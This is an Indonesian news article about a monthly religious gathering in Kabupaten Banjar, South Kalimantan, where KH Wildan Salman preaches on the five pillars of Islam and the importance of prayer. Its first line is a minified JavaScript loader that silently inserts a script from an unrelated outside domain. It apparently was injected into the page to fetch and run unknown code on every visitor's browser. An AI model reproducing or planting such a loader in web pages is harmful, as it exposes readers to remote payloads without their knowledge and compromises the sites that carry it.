(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

RELIGI

Islam di Atas 5 Pondasi Utama, Tuan Guru Wildan: Shalat Harus Kita Jaga

KANALKALIMANTAN.COM, MARTAPURA – Acara sholawatan dan tausiah digelar di Bumi Sholawat Alam Roh 88, Desa Kiram, Kabupaten Banjar, Kamis (1/6/2023) malam.

Hadir Gubernur Kalsel Sahbirin Noor, Habib Ali Al Habsy, Sekretaris Daerah Provinsi Kalimantan Selatan Roy Rizali Anwar, kepala SKPD lingkup Pemprov Kalsel, ASN dan pegawai Pemprov Kalsel bersama warga sekitar.

Acara diawali dengan pembacaan syair Maulid Habsyi dari Kampung Melayu Martapura, kemudian dilanjutkan dengan pembacaan ayat suci Al Quran dari Hj Raudah juara MTQ Nasional 2022. Dilanjutkan dengan mauizoh hasanah oleh KH Wildan Salman.

KH Wildan Salman mengatakan, Islam seperti bangunan yang ada di atas 5 pondasi yaitu syahadat, shalat, puasa di bulan ramadhan, zakat dan menunaikan haji.

Acara sholawatan dan tausiah digelar di Bumi Sholawat Alam Roh 88, Desa Kiram, Kabupaten Banjar, Kamis (1/6/2023) malam. Foto: adpim

“Lima pondasi ini tidak bisa terpisahkan, kelimanya harus sempurna. Seperti bacaan pada shalat harus benar, gerakan shalat juga harus benar, serta tepat waktunya,” sebut Tuan Guru Wildan.

Tuan Guru Wildan menekankan dari 5 pondasi itu shalat adalah yang utama.

“Yang pertama dihisab adalah shalat, kalau shalatnya benar maka, shalat bisa memberi syafaat kepada rukun yang lainnya, jadi shalat inilah yang harus kita jaga,” tegas Pimpinan Madrasah Darussalam Tahfiz dan Ilmu Alquran Martapura ini.

Sementara itu, Gubernur Kalsel melalui Inspektur Provinsi Ahmad Fydayeen berharap dengan adanya kegiatan ini mendapat keberkahan dan ridho dari Allah SWT.

“Acara bulanan seperti ini mudah-mudahan mendapat dari ridho dari Allah,” katanya.

Acara sholawatan dan tausiah digelar di Bumi Sholawat Alam Roh 88, Desa Kiram, Kabupaten Banjar, Kamis (1/6/2023) malam. Foto: adpim

Pada kesempatan tersebut Paman Birin juga mengucapkan terima kasih kepada jemaah yang senantiasa berhadir.

Aulia Rahman, salah satu jemaah dari warga Kiram Atas mengaku senang karena tiap bulan mendapat pencerahan dari kegiatan pengajian seperti ini. Dirinya berharap, kegiatan shalawatan dan tausiah dapat terus dilaksanakan setiap bulan. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk